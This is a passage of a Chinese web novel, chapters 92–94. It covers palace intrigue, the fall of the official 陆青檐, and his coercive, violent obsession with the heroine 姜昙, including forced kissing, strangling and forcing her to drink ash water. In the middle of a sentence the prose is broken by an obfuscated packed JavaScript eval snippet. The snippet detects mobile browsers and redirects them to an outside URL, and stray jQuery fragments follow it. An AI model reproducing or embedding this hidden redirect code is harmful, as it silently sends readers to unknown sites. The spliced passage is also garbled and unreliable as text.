郑管家竟没说谎,这些天陆青檐彻夜不归,原来在青楼流连。 他身上沾上的脂粉气到现在都没散,教她险些以为是先前乌日塔脑袋上的香膏。 姜昙睁眼,看也不看他:“我自己来。” 她信手将陆青檐推开,忽然推出了一阵珠串响动的声音,细听之下,还有银铃撞击,细密而绵长。 姜昙一时怀疑是自己腕上的手链断了,可她很快想起来,自己从不戴手链。 那就只能是…… “是我手重了吗?” 陆青檐的手臂从背后圈过来。 姜昙低头,无比清楚地看到他的衣袖是半透明的,上面绣着花纹,隐约透出结实有力的手臂。 热意源源不断,从什么也遮不住的衣袖中传过来。 眼前还有低垂下来珠链,就是方才她推他时发出的声响。 是陆青檐。 姜昙愕然。 她足足反应了半晌,才反应过来他在做什么:“……你疯了?” 92. 第 92 章(补) 话说出口的瞬间,姜昙猛然想起来,陆青檐向来这么疯。如今这种程度,只能算他的寻常想法。 “不好看吗?” 下巴被挑起来:“听说女客最喜欢这样的装扮,一眼心动,连魂魄都能被勾走。” 姜昙看到半挽的发髻,珠链做成的流苏密密地垂了满肩,遮住了半披的黑发。 称得上花里胡哨。 陆青檐垂眸看下来,眼上如碎裂的星星一样洒满,眼尾一抹飞扬的嫣红。 这是秦楼楚馆的小倌惯用的技法,灯下看之,眼波流转,楚楚可怜。 姜昙只扫了一眼,就不敢再看:“你闲得没事做,就去睡觉。” “好,我们去睡觉。” 陆青檐倾身将姜昙抱起来。 那不知是藏在他发尾还是耳际的铃铛,发出清脆的响声。 珠链垂至床面,连接珠串的细丝勾花了丝被。 陆青檐约莫是觉得勾得头痛又麻烦,抽空将头上那累赘的一串东西扯下来,远远扔到地上。 铃铛藏在他耳际,悬在半空。 陆青檐竟穿了耳洞,耳上尚有血迹,可见是新近的伤口,还未伤愈,就挂了齐肩的铃环。 他还蒙着面纱,只露出一双泛着浅浅碎光的眼睛在外面。 颤动的面纱驱着铃环簌簌作响。 “他们都来贺我,恭维我,送白银黄金,珍珠翡翠,玉石玛瑙,美女奴隶……” 陆青檐轻声笑起来:“甚至,还有人以我做闫慈的义子为由,揣测我也需要一个干儿子,上赶着认爹。” 姜昙不语。 陆青檐问:“阿昙,你不为我高兴吗?” 说着,他低头贴近她的唇齿,却被面纱阻隔,拦住了去路。 蒙着面纱,姜昙干呕的症状就会减轻,效果立竿见影。 可惜碍事。 陆青檐将面纱扯下,他纡尊降贵去秦楼楚馆待了几日,此刻已将之前学过的东西抛之脑后。 唇上原本就涂得乱七八糟的口脂,尽数蹭在她唇上。口舌交缠,唾液浸染,再都吞入腹中。 姜昙被他弄得气喘吁吁,挣扎着要起来:“你不是每日都会诵经吗?你的佛珠呢……” “佛在我身上,心上。” 陆青檐抬手按着她的肩下去,深深吸气:“你就是我的佛。” 姜昙如今乖巧得让人爱极。 她从没有这么妥帖过,不是极致地顺从,也不是极致地对立。而是就这么待在他身边,偶尔不痛不痒地挠他一记。 陆昇死得好极了。 陆青檐浑身的血烧了起来,扰她心神的有两人。 死了一个,还有一个。 睡前他随手拿的那本书,翻开竟是识文辨字,姜昙给那个不会说话的准备的。 她还亲自带着他去洗澡。 她不愿意留他的孩子,却愿意给旁人生养。 陆青檐在姜昙唇上咬了一下,停下来看着她:“前几日收到一件有意思的宝贝,是一尊玉菩萨像。送来的人说,放于寺中供奉几日后,再请回府来,于子嗣有益。” 姜昙睁开眼睛,眼神逐渐清明。 不知想到什么,她忽然干呕起来,整个身体止不住地弓起。 陆青檐紧紧抱住姜昙,右掌覆住她背上的莲花印,让她靠在自己的肩上。 . 太子又寻了陆昇整整一月,依旧一无所获。 只是某一日,远郊的猎户循着城门的告示,将一件破碎的衣裳包着些东西,送到了京都府衙。 太子领着人过去一看,那正是陆昇失踪那日穿的衣物,被血浸透,破烂不堪。 太子眼前一黑,连声说不信。 可若一件衣服证明不了什么,那么衣服里包裹的骨头是无法否认的。 那是一根手骨,一个骷髅。 上面附着的皮肉被狼或是别的什么野兽啃食得干干净净,只剩血淋淋的筋骨坠在外面,因天热生出蛆虫,发出臭气。 太子当场晕死过去。 不知太子是怎么认出来的,可那确实是陆昇残存的尸骨,连同他在世的衣冠一起,放到了棺材里。 陆昇的棺木出京那日,姜昙在街市上送他,乌日塔手里握着陆昇送的机关锁。 当夜,太子喝得醉醺醺,在景胜帝的寝宫外大闹一场,跪求父皇主持公道。 当晚,景胜帝正由贤妃伺候着服食丹药。 听到门外动静,景胜帝命内侍训斥太子一通,并下旨令其紧闭自省。 不到两月,陆昇之死如同边陲的沙子一样,被一阵风吹散而逝。 六月,景胜帝亲自下令修建的长生殿工事塌陷停滞,负责修缮的官员吊死在大殿。 景胜帝大怒,将负责督办的太子押解至宗人府,责令其修身自省。 七月,太常寺卿陆庸升工部右侍郎,接手长生殿修建一事。 . 陆青檐回来时,看到那个小哑巴在院子里摆弄机关锁。 姜昙不在他身边,却一定在附近,因为这小哑巴黏她黏得厉害。 身后跟着的官员滔滔不绝:“陆大人放心,下官日夜看着,绝不会让大殿发生丝毫错处——” 身旁的人推了推他,示意他别说了,陆大人显然正在忙另一件事。 乌日塔将机关锁拆散,正一件一件装回去。 细小的零件极易丢失,于是他事先将它们整理好,再整整齐齐摆放在小杌子上。 面前落下一道阴影。 乌日塔抬头看到了陆青檐。 陆青檐的脸上没有表情,只有一只眼睛中有情绪,但他读不懂。 葡萄般的圆眼珠在陆青檐脸上停了停,滑过绯衣前的孔雀,又落回他手中的零件上。 一大一小,沉默无话。 陆青檐提步离去,一群官员涌过来,跟在他身后。 行至拱门,陆青檐转头看一眼乌日塔,对郑管家说:“不必去外面了,今夜在府里设宴,请诸同僚一叙。” 说着,他想起王令使家的两个儿子:“听说最近王大人家请了先生,若令郎课业不重,大人将他们也带到陆府来玩一玩吧。” 王令使赔笑称是。 已至黄昏,园子里传来小童们的欢声笑语。 乌日塔站起来,往声源处看了看,什么都看不见,只有黑漆漆的房顶。 那个总是给他带机关锁的人好长时间没再见过,也没有给他带新的机关锁。 他想去看小红马,可天快黑了。 于是他低头,继续拼机关锁。 “哈哈哈哈!” 拱门处跑过来几个小童,追逐打闹,玩得正开心。 乌日塔停住,在远处看他们。 一个戴着金玉项圈的小童领着几个孩子凑近:“你在玩什么?” 乌日塔演示了一遍。 眼看着小孩子们玩到一块去,疲惫的婢女放松下来,眨巴着眼看着园子的方向,那里传来热闹的动静。 乌日塔手指飞快,一堆零碎在他手上很快成型。 小童笑嘻嘻地看了一眼,身边几个同伴齐齐围过来。 不知谁站不稳,地上的一半机关锁被踩了一脚。 面前的小靴子很快离开,小童眉眼弯弯看着他:“对不起,我不是有意的。” 机关锁很结实,被踩一脚,并没有断裂,而是散成了一堆零件。 乌日塔抬头,盯着小童看了一会儿,认出他的脸上有笑。和姜昙教的一样,这代表善意。 于是摇摇头,再拼一次就是了。 他伸手去捡机关锁,几个小童闹哄哄地跑起来,将他撞倒在地。 乌日塔极缓地想了想,有些怀疑自己方才的判断。 然而小童们嘻嘻哈哈地跑过来,拉着他的手起来:“一起来玩!” 乌日塔又摔了一跤。 他从地上爬起来,摊开十指,有污泥红痕。 方才推搡中,他被踩了好几脚。 . 姜昙将药材切碎,按医书上记载的步骤,一一放至药包里,用棉线绑起来。 她在房内闷了整整一天。 这时,房门被猛然推开,一群小童跑进来,身后的婢女追进门,看见姜昙,连忙认错。 姜昙摆摆手。 小童们围在姜昙腿边,其中一个说:“夫人对不起,我们玩的时候跑得太快,小少爷摔倒了。” 一群小童叽叽喳喳地说:“对不起!” 有一个女童更是哇哇哭了起来。 姜昙一头雾水,看到门边的乌日塔,招手让他过来,他却不肯。 宴会进行一半,陆青檐赶过来:“你想怎么处置他们?” 姜昙检查过乌日塔的身体,衣服上有灰尘,手上有擦伤,确实是摔了一跤。 于是摇头:“伤处不大,更何况那群小孩子道过歉了,谈不上处置不处置。” 乌日塔躺在床上,姜昙给他的手涂药。他忽然张口说:“阿……娘……” 他不常主动说话,姜昙有些惊喜,问:“怎么了?” 越过姜昙的肩膀,乌日塔看向床前站着的陆青檐,他正对着自己笑,依旧看不明白情绪。 乌日塔摇头,缩到姜昙怀里。 陆青檐说:“我方才同管家说了,以后府里不准出现除阿年以外的孩子。” 姜昙摇头:“不必。只是不小心摔了一跤,以后多注意就是了。” 陆青檐转身出去。 姜昙摸了摸乌日塔的眼睛:“阿娘都知道,睡吧。” 哄着乌日塔入睡后,姜昙往他床帐上挂了一个药包,又往他枕边放了一个,随后熄灯出去。 待门关上好,原本熟睡的乌日塔睁开眼睛,黑漆漆的眼珠望着帐顶的药包。 阿娘似乎格外关注他的眼睛,就连放在身边的药包也是治眼的,是怕自己的眼睛和那个人一样坏掉吗? 他和那个人的眼睛,长得很像。 乌日塔见过许多眼睛相像的人,他们有个称呼,叫做阿爹。 阿娘,阿爹,和阿年。 姜昙坐在浴桶中,隔着雾蒙蒙的气息和一层纱帐,看着房间内的玉菩萨。 送子观音,观音送子。 姜昙闭上眼睛,有些难以呼吸,踏出浴桶擦身穿衣。 门扉被敲响。 门口传来低低的交谈声,片刻后陆青檐掀帘进来,从后面拥上来:“出了些事,我要进宫一趟。” 姜昙没问什么事。 陆青檐在她唇上吻了吻,离开了。 姜昙并未睡觉,坐在桌前等着,直到天露亮色,有人敲门。 推开门,一个婢女向她行礼:“夫人,大人派奴婢来告诉您,他一切都好,夫人早些安歇吧。” 姜昙准备关门,婢女忽然摸了一下她的手,塞过来一张纸条。 陆青檐的寝房,那些护卫再大胆也不敢趴在房顶上,只敢远远看着。 姜昙关上门,放心地把纸条打开:“跟她走。” 凌乱的字迹,勉强认得清字,是陆昇写的。 他还没死。 姜昙心中绷紧的弦放松下来。 陆昇没死,是意料之中的事。即使他的本事低了陆青檐一筹,他也不应该就这么死了。 消失这些时日,陆昇一定在暗处筹谋不少,昨夜陆青檐匆匆入宫,或许就跟陆昇的筹谋有关。 如今来联系她,是自己终于要派上用场了。 可是阿年,阿年该怎么办呢? 陆青檐心胸狭隘,嘴上说得好听,背地里用尽手段欺负阿年一个小孩子。 若是她不在,想必他会更放肆。 可若是带上阿年一起走,陆青檐不会相信。 姜昙想了很久,一直到天大亮,终于狠心做出决定。 走出院门,先前那婢女迎上来,姜昙将外衣递给她,婢女恭敬捧着,跟着她出门。 郑管家在正门前等着:“大人临走前吩咐过,夫人若要出门,必须带人跟着。” 姜昙说:“我只是出门买些小玩意儿,阿年的机关锁被人踩坏了,我想替他买了零件。趁他睡醒前回来,给他一个惊喜。” 郑管家不肯让路:“大人说了,眼下外面不太平。” 姜昙正要强闯出去,身后的婢女跟着郑管家劝道:“夫人,大人也是担心您,带些护卫吧。” 再三劝说,姜昙才不情愿答应下来。 弯腰上马车后,姜昙闭目养神。 她听到马车平稳驶过闹市,进入安静的巷道。 巷道两旁的房顶上有快速踩过瓦片的声音,刀刃破风声,兵刃撞击声,痛呼声,最后归于寂静。 这样的动静一共重复了三次。 三次之后,车帘被一只血淋淋的手臂掀开,露出先前那婢女的面容:“姜相公,你身后的尾巴可真多。” 先前见这婢女,姜昙就觉得眼熟。此刻听她唤自己相公,想到吴江的那些旧人,记起了这是谁。 她曾跟着她爹在宋府表演杂耍,还养着一只叫小巧的猕猴。 “银翠。” 姜昙叫出她的名字,上下打量她一眼:“你长大了。” 丁银翠笑说:“只有姜相公……不对,是姜姑娘。只有姜姑娘还拿我当小孩子看,我早就长大啦!” 数年前瘦小的少女,如今长成了一个身手矫健的姑娘,手握刀刃,轻而易举逼退几人。 丁银翠将身上的婢女外衣除去,换上一身灰扑扑的衣服,将头发绾成发髻。 这样看上去,就和一个男人没什么区别了。 丁银翠问:“怎么样,像不像一个顶天立地的大丈夫?”< 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皇帝病危,太子被禁宗人府,唯一成年的信王仰人鼻息过活,只剩贤妃肚子里八个月大的孩子。 这时候闫慈又中风了。 陆青檐分身乏术,是一刻也离不得皇宫的。相应地,宫里一定处处是他的人。 她的作用,就是把陆青檐引来。 在这样要紧的关头,陆昇可真是看得起她。 陆青檐此人抓着她不放,全然是因为少年时的执念,他不甘心,于是千方百计让她低头。 起初是欺骗,被戳穿后便强迫,到如今变成了诱哄。 姜昙以为陆昇会拿她迫使陆青檐放弃一些无关紧要的东西,没想到竟是皇位。 陆昇究竟哪里来的底气。 姜昙闭了闭眼,忽然夺过丁银翠的刀,放在手臂上。 “你做什么!” 丁银翠在姜昙手腕处用力打了一记,迫使她松手,刀柄掉在地上。 “要把陆青檐引过来,不付出点代价怎么行?”姜昙问她:“或者大公子有留下什么话吗?他觉得我舍手臂好,还是十指好?” 姜昙语气坚定,眼神却迷茫。 丁银翠心有余悸地看着姜昙,将刀绑在自己身上,从袖袋里拿出一个物什,正是一个新式样机关锁。 “陆大哥什么也没说,只让我把这个转交给一个叫阿年的人。他没说阿年是谁,但你应该认识,由你交给他吧。” 对了,阿年还在等着她。 姜昙冷静下来,坐在路边的石头上,她想到该怎么办了。 随身的药囊拆开,里面又是一个药囊,再拆开,取出一个旧荷包来。 姜昙把荷包交给丁银翠:“劳你托人,把这个送到宫里去。” 平平无奇的荷包,上面有许多针脚的痕迹,像是缝过什么被拆下来,留下了一圈针眼。 虽不知姜昙是什么用意,可丁银翠记得陆昇嘱咐过的,于是一口答应下来。 姜昙脑子里思绪飞快。 陆昇的谋划铤而走险,几乎押上了所有人的性命。 若失败,所有人死无葬身之地。若成功,并不能一劳永逸,还要继续与闫党斗。 然而之前那一次抗争,他们输得一败涂地。 陆青檐说的对,是皇上不想看,不想听。所以哪怕再有力的证据送到他面前,也是无用的。 包括世人在内,事不关己,没人在乎所谓的公道。 除非有一件能引燃朝野的大事发生,让所有人不得不注意。 是什么呢? 姜昙隐隐觉得有答案,可是细究之时,却又想不通了。 . 贤妃捂着肚子站起来:“本宫累了,要回去休息。” 门口的护卫寸步不让。 陆青檐说:“这等关头,娘娘还是再忍忍吧。” 贤妃冷脸道:“本宫累了,就是皇子累了。伤了皇子,陆侍郎担待得起?” 陆青檐“唰”地抽出护卫的佩刀,在贤妃的尖叫声中,直指她的肚子。 “八个月大的胎儿,早已成型了。臣看过医书,若是此刻剖出来,胎儿也是可以存活的。” 贤妃吓得脸都白了:“陆庸,你想造反不成!” “娘娘就这么确定肚子里是个皇子?”陆青檐顿了顿:“或者说,娘娘肚子里,真有皇子吗?” 贤妃瞪着他。 陆青檐收刀:“臣开个玩笑,娘娘勿怪。” 经这么一遭,贤妃不再说话,安分地坐在椅子上。 果然瞒不住陆青檐,她根本没有怀孕。只打算到了月份,从宫外寻一个男婴入宫,当做她亲生的儿子。 陆青檐早就知道了,却不戳穿她,估摸也是打着这样的主意。 往日贤妃总希望老皇帝死了,自己扶持幼子做太后。 眼下看来,她往日想得太简单,太后不是好当的,陆青檐更不是她能拿捏的。 她有些后悔哄着皇帝服太多丹药了。 天色渐明,今日是个阴天。 陆青檐立在窗边看皇宫。一道又一道的宫墙后面,是危机重重的天地。 邓显来报了三次,一次比一次派的人更多,却都没有消息。 陆青檐咬牙闭目:“我去了也无用,加派人手追。” 第四次时,邓显呈上来一个荷包—— 那是他曾经缝制的荷包,上面应有一个“庸”字,还有一圈铃铛。 只是这些被人拆线除去,只剩下密密麻麻的针眼。 破旧的荷包里塞着棉花,捏起来松软无比。只是捏到实处,里面似乎还有东西。 一帘之隔的榻上,躺着昏迷的景胜帝。隔壁的偏殿,坐着中风面瘫的闫慈。赵青林被他派出去搜寻陆昇的尸体。 宫外的男婴已准备好,随时能被装进食盒运进来。身边别有心思的贤妃需要安抚,让她配合皇帝扶持幼子登基之事。 许多事等着他去做,而他无人可用,只能亲自主持大局。 他不能离开,一刻也不行。 幼帝登基,他就能做摄政王,等他长大的十几年,足以他筹谋篡位十几次。 到时江山社稷,尽握在手。 区区姜昙,又算得了什么呢? . 姜昙看到了陆青檐。 他一人策马疾驰而来,临到近前,速度慢下来,勒马漫步到她面前。 陆青檐扬眉笑起来:“只有你一人,陆昇呢?搞出这么大的动静,他怎么不在?” 他的耳际淌出两条血线,沿着脖颈流至衣领。 那是他前几日穿的耳洞,伤痕未愈。 93. 第 93 章(补) 整整一夜未睡,姜昙的眼眶发酸。 她仰头看着陆青檐:“谁知道呢?或许在皇宫,或许在皇帝身边潜伏着。你没见过他,他却见过你。” 陆青檐沉默良久,忽而嗤笑。 紧接着,一头从马上栽了下来。 不到半刻钟,姜昙就遇见了陆青檐的下属。 陆青檐一个人从皇宫策马出来,跑得飞快,并未叫人跟着。但他的下属早已得了邓显的命令,知道主人独自行动,于是在暗处远远跟着。 见陆青檐昏迷,连忙从暗处现身,寻了马车将两人送回去。 流水的大夫请进府里,将陆青檐围得水泄不通。 姓吕的白胡子急得团团转,彻夜不眠守在床前。 他刚欠下几千两银子,看在陆青檐的面上,赌坊都给赊着呢。 若是陆青檐一不小心死了,他的赌债可怎么还? 听得大夫给出“身心俱疲,劳累过度”的诊断时,吕先生总算松了口气。只是看向姜昙的时候,眼神中总带着毫不掩饰的嫌弃。 就连在陆青檐醒来后,他也是这么说的:“你昏迷时咱替你算了一卦,那个女人是你命里的祸水,趁早休了她,现在还来得及!” 陆青檐睁开眼,看向帐顶。 良久,他开口问:“皇上死了没有?” “哎哟,这话怎么好说得这么直白!”吕先生一拍大腿,说:“没死呢,你家里那个芝麻馅儿汤圆的堂兄弟也没死呢,嘿,活得好好的!不过……” 说到这里,吕先生回头看了一眼门边的姜昙,凑到陆青檐耳边,低声说:“你小声点说话,你那夫人是奸细。如果被她听见,回头你那汤圆堂兄也就知道了,指不定又要怎么害你呢!” 陆青檐闭上眼:“你先出去,所有人都出去。” 吕先生讪讪闭嘴,走出门口见姜昙也要走,一把将她推进去,牢牢关上门。 一看就知道陆庸放不下这祸水,肯定想让她留下来。 屋内,姜昙站在门边。 陆青檐闭了闭眼,又睁开。 反复几次后,他撑着床面想坐起来。 然而他好像忘了掌心的伤,按住伤口,疼得抽气,险些摔下去。 陆青檐转头看向姜昙,声音沙哑:“不来帮我一把吗?” 姜昙顿了片刻,来到床前。 她还未坐下,扬起的衣袖扫过陆青檐的手掌,被他一把抓住,用力扯下来。 姜昙跌坐在他身边,低头看到他的手掌渗出血来。姜昙不由别开眼,却碰上陆青檐的脸,两人之间,是呼吸可闻的距离。 陆青檐神情淡淡:“下一步,你们打算怎么对付我?” 姜昙沉默片刻,开口说:“你一人离开,却留下全部人手守在宫里,还联络了皇城守卫。皇上既没死,那么你调动兵马就犯了忌讳。你暗中那些动作,迟早会被人查出来,呈至皇上眼前。” 这个“人”,指的是陆昇他们。 陆青檐的手掌爬上姜昙的脊骨,落在她的后颈,缓缓问:“还有呢?” 姜昙说:“还有我手上的那些证据,包括汤慎昔日调查的东西,会再送一次。” 陆青檐似笑非笑:“我跟你说过,皇上不会看的。昔日他登基时,或许还想过做一个励精图治的皇帝。可眼下岁月已暮,他满脑子都是长生不死。民间疾苦?与他无关。” 若是陆昇有胆量,就该趁自己松懈时杀了皇帝,扶太子继承皇位。 新皇登基,那么他才是真正没有活路。 可是太子那个懦弱无能的蠢货,满脑子都是仁义礼信、忠君爱国。 就算将他放出来,他能做出最有出息的事,也是在皇帝床前痛痛快快哭一场,再集结太医院全力医治皇帝。 只要皇帝不死,陆青檐就有机会重获恩宠。 至于皇帝病重期间,他所做的调兵遣将等不韪之事,总有理由解释。 这于他来说,并不是难事。 陆青檐哈哈大笑:“我当你们有什么把戏,原来就这点能耐。” 姜昙缓缓开口:“这次不一样,那些陈年卷宗中,我有了新的发现。若呈上去,皇上一定会看。” 陆青檐讥讽地说:“又是你们所谓的不公不平之事?想以此攻击我,激起民愤,是不是想得太容易了?” “不是你,而是刘仲青。” 姜昙说:“我打算状告刘仲青,这一次,你逃脱不了干系。” 陆青檐愕然。 他忽然弄不明白姜昙的心思了,她到底要做什么? 姜昙看着近在咫尺的这张脸。 陆青檐的面色极差,一只坏掉的眼珠灰败,另一只完好的布满血丝。 十七岁认祖归宗成为陆家庶长子,十八岁成为闫慈义子,十九岁进入朝堂。 二十五岁时,成为皇帝宠臣,人称小阁老。 因为眼疾,长时间服药使眼睛恢复光明,直至那药失去作用。因为头疾,常年一晌贪欢和酒伴随入眠。 这几年来筹谋算计多少次,他服药就有多少次。 药性钻进利欲中,一起渗透了他的骨头和血肉。 姜昙酝酿了许久,艰涩地说出下一句话:“放弃吧,陆庸。这史书上……从来就没有瞎眼的皇帝。” 陆青檐的眼神落在虚空,极缓地转了转。 她没有猜错,眼下他的眼睛全然不能视物了。随着年龄增长,就连阿年都受到了他的影响。 这样严重的眼疾,哪怕以后陆青檐短暂地恢复视力,也会越来越差劲,最终变成彻底的瞎子。 陆青檐面上短暂地闪过一丝茫然,平静的面容崩裂:“你终究还是要站在他那边,你还是要与我作对。姜昙,你为什么要出现在我面前,为什么不死得远远的!” 姜昙被扑在床面上,脖颈被掐住。 耳中出现尖锐的鸣叫,好似德庆七年十一月,在吴江宋府里即将被射断绳子的凤凰。 这样的感觉并没持续多久,姜昙被用力推开。 “你以为陆昇赢了吗?不过是从头再来而已,敢走这条路,我就担得起一切后果。” 陆青檐瘫坐在榻上,一脸厌恶地说:“滚吧。” 姜昙推门而出。 一群人听到动静,早就守在门口。 吕先生瞧着屋内,领着人大呼小叫地涌进去:“怎么吐血了,快看看还有气儿没有!” . 姜昙被关进了柴房。 窗户被封死,一丝光都不泄。 除了婢女们送饭时,会打开一道小缝将食盒推进去。 除此之外,整整三日,她没有见过天光,不被允许见任何人,完完全全置身于黑暗之中。 唯一有一次,门没关紧。 姜昙看着外面的日光,推开门缝跑出去,看到了乌日塔。 乌日塔身边围着几个大孩子,高高地举着他最宝贝的小挎包。 孩子们嘻笑:“不要这么小气,借我玩玩嘛。” 接着手一抖,将小挎包里的石头抖到地上。 那是他日日都要数一遍的石头,宝贝得趴到地上去捡,却被另一个孩子一脚踢到湖里去。 “呀,对不起。” 孩子们笑眯眯地道歉,背过脸却露出玩弄的恶意。 姜昙一眼就知道这是怎么回事。 乌日塔自小一个人待着,不喜欢与人接近,更不喜欢与人对视。 姜昙正在花时间一一改善他这些习惯,可惜她教得太慢,只告诉他笑脸代表好意,好意要回报之好意,但还未教他如何应对笑里藏刀。 乌日塔正仔细观察玩伴脸上的表情,困惑不已。 姜昙看得心脏闷疼:“阿年——” 婆子们捂住她的嘴,将她绑了回去。 这一日回去,姜昙起热了。 听到婢女们的动静,姜昙艰难地从地上爬到门边,将耳朵贴在门上,想听一听外面的消息,朝堂又有什么大事发生。 然而守门的两个婢女只是反复地叹息:“她不识趣,惹怒了陆大人,还带回来一个野种。要是哪个男人对我这么好,我一定一辈子死心塌跟着他。” 另一个说:“别做梦了,大人哪里会看上你。这才几天,又接回来一个女人,听说还怀着肚子,约莫早在外面就弄到手了。” 姜昙捂住耳朵。 但又怕错过什么,于是很快松手,从婢女们零零碎碎的闲话中拼凑外界的变化。 又过了三日,她们闲聊的内容终于变了。 一人说:“那女人也太胆大包天了,竟然敢欺瞒皇上,还占了秀才们的位置!都是因为她,秀才们才没官做!” 另一人鄙夷道:“整天扎在男人堆里,真不知廉耻,谁知道她是怎么进入官场的,许是和哪个官睡了一觉……” 姜昙不得不承认,陆青檐说的很对。 可能不会有人讨论哪里哪里死了人,在意其中有什么冤屈。但一定会有人讨论,一个女人扮作男人做官,是如何离经叛道。 就连路边的乞丐也能对此指点两句:“皇上应该把这个女人千刀万剐,老天爷应该让这个女人不得好死!” 这个女人正是刘仲青。 只有扮作男人的女人,才知道如何教另一个女人扮男人。 也只有一个女人,才能体会另一个女人的辛苦。 所以刘仲青才知道如何遮住耳洞,才会仔细地缝补衣裳,才会对她如此严厉。 娘亲没有兄弟,只有几个姊妹。 刘仲青是她的亲戚,却不是舅舅,而是姨母。 姜昙没有提前和陆昇说过这件事。 可是以他的敏锐性,定会好好利用皇上的怒气与自大,以藐视皇权的缘由,请皇上彻查吴江知县刘仲青。 只需稍稍推波助澜,举国皆知。 若是她现在住在边陲,两日后也能知道这个传闻。 整个朝堂都是男人,所以这件事只有一种意见。 到最后,连同刘仲青的生平一起被翻出来的,还有吴江那件旧案。 这件事,无论如何也遮掩不住。 . 十五日后的一个夜晚。 姜昙被放了出来,推门是昏黄的夕阳。 眼睛被刺得流泪,姜昙以手挡了挡。 两个婢女不耐烦地拉扯她出去。 刘仲青之事几乎闹到了人尽皆知的地步,然而一路上遇到的婢女小厮,仍然遵守规矩,一丝不乱。 只是细看之下,每个人面上都带着茫然与慌乱。 来到一处屋子前,门口守的竟不是邓显,而是满面憔悴的郑管家。 “大人在里面等夫人。” 姜昙在紧闭的门前犹豫,身后有人推了她一把,随后将门用力关住。 天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14699469|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色渐暗,屋子里跟着暗下来。 姜昙往里走了几步,忽有一抹烛光照在面上,仔细一看,吓了一跳。 这是一处佛堂,满屋子都是身披袈裟的和尚。 个个手握念珠,跪在佛像前诵经。诵经声低不可闻,诵经时面无慈悲,看起来十分诡异。 仔细一看,他们跪的不是如来,而是一尊面目狰狞的凶神像。 姜昙不由退了两步。 身后撞到了一人,姜昙惊恐地看着那人,连尖叫出声都做不到,原来是陆青檐。 他们已许久不见。 陆青檐面色惨白,一脸病容,冒出森森鬼气。 他牵住姜昙的手,冷意从他掌心穿至她的掌心,爬至姜昙全身。 这让姜昙想起,小时候被施茂林捉弄,无意摸到的蛇鳞。 陆青檐一句话未说,手上用力握着,拉着姜昙穿过和尚的包围圈,来到最中心的位置。 在蒲团前跪下,抬头就是怒目圆睁的凶神像。 姜昙听到寂静的气息中,和尚们的嘴唇极快翕动的声音。那声音极富规律地传过来,一阵一阵刺痛她脑中的神经。 她难以忍受地捂住耳朵。 陆青檐眉目不动:“安葬之处,我选好了,在吴江。” 一碗水呈送至二人眼前。 水不是清澈的,里面似乎混着什么粉末。 陆青檐这是准备杀了她。 姜昙揪紧袖子,心中紧张,面上不动声色:“邓显呢,他怎么不在你身边?” 陆青檐说:“昨日他已在大理寺了,连同赵青林,他们两人一起认罪。弃车保帅,待我迈过这道坎儿,他日重得权势,就替他二人报仇。” 姜昙蓦然侧首看他:“心狠手辣,不愧是陆大人。” 陆青檐接过碗,抵在姜昙干裂的唇边:“张嘴。” 他真的打算杀了她。 姜昙愣怔一瞬,豁然起身逃跑。 一地的和尚挡住去路,身后的陆青檐追上来,将她按在柱子上:“张嘴!” 姜昙紧紧咬牙,不肯张开。 陆青檐掰开她的嘴唇,将那碗水灌了进去。 姜昙呛得不住咳嗽,往一旁吐了许久,口中还有怪异的味道。 陆青檐冷眼看着她。 这一番动静,终于惊动了那群木头一样的和尚。 不过,惊动和尚们的似乎不仅仅是他们,好像是外面的吵嚷声。 “再端一碗来。” 陆青檐又给她灌了一次:“它发作得缓,你慢慢感受。” 姜昙还是咳,水中混合的毒药沾在她的喉咙,咳也咳不出来。 这似乎不是毒药。 恍惚中,陆青檐揪着她的衣领提起来,鼻尖对着鼻尖:“姜昙,说你爱我。” 姜昙攒够力气,扇了他一巴掌:“你怎么不喝?” “我喝了五年,若是有用,也不必来找你。”陆青檐吩咐:“再端,再端!” 整壶或者奇怪粉末的水浇在姜昙口中、衣襟,甚至是面上,打湿了她的头发。 “现在呢,你爱我吗?” 这是混着香灰的水,或许还有符纸和别的乱七八糟的东西。 门外的吵嚷声更接近了。 姜昙睁开眼睛,沉默看着他。 陆青檐面色扭曲起来:“姜昙,我们一起死吧。” 他将手上包裹伤口的纱布扯开,绕过姜昙的脖颈,逐渐用力。 门在此时被踹开:“皇上有旨,宣工部右侍郎陆庸进宫!” 身上压着的人被拉开,姜昙用力咳嗽着,大口喘气。 眼前的世界在晃,姜昙好似看到陆青檐在一群人暗含强迫的簇拥下离去,眼神一直落在她的方向,直至看不见。 姜昙怔怔坐了许久。 先前那群和尚一哄而散,门外的动静逐渐消失,只剩她一人在这。 不知过了多久,一个小小的身影接近她,用袖子给她擦眼泪。 乌日塔戳了戳她的嘴角:“阿娘……不哭,要笑。” 这是先前她教给他的。 姜昙紧紧抱住乌日塔。 . 墙倒众人推,陆青檐倒得极快。 贪赃枉法,买卖官职,勾结边将……太子党联合三法司尤其将“残害忠良”列为头条,并着重描述汤家被诬陷一事。 然而最终奏折被压至御案,杳无音信。 第二次奏折,由陆昇亲笔写成,划去汤家不提,添了私建陵墓、勾结北漠两件呈上去。 八月十三日,陆青檐被定罪,犯上通敌,择日处斩。 姜昙给陆昇写了封信,两日后,她得到了探狱的机会。 八月十五,小雨。 姜昙撑伞到大理寺,门口有人认得她,挥挥手让她进去。 和上次来时一样,不过这次是在白天,牢房的通道里还算明亮。 陆青檐被关在最里面。 离牢房还有一段距离时,姜昙就停了下来,远远地看着陆青檐。 他掌中有串木珠,唇齿相碰,正在低声诵经。 牢房不算糟糕,床下有书案,床上有薄毯。已经到了这种地步,竟还有人为他准备这些。 他似乎不需要探望。 姜昙后退一步,牢房里陆青檐立时看过来,他知道她来了。 “姜昙,你来送我?” 94. =be分界线= 陆青檐将手掌摊开,看不清掌纹,但数得清十指。 也只能数得清十指。 最近二十几日,现在想起来,也觉得是在做梦。 他不是第一次出现这种症状。 在某一日醒来后,他的床前跪着一地官员,都是他麾下的人,七嘴八舌商议朝事。 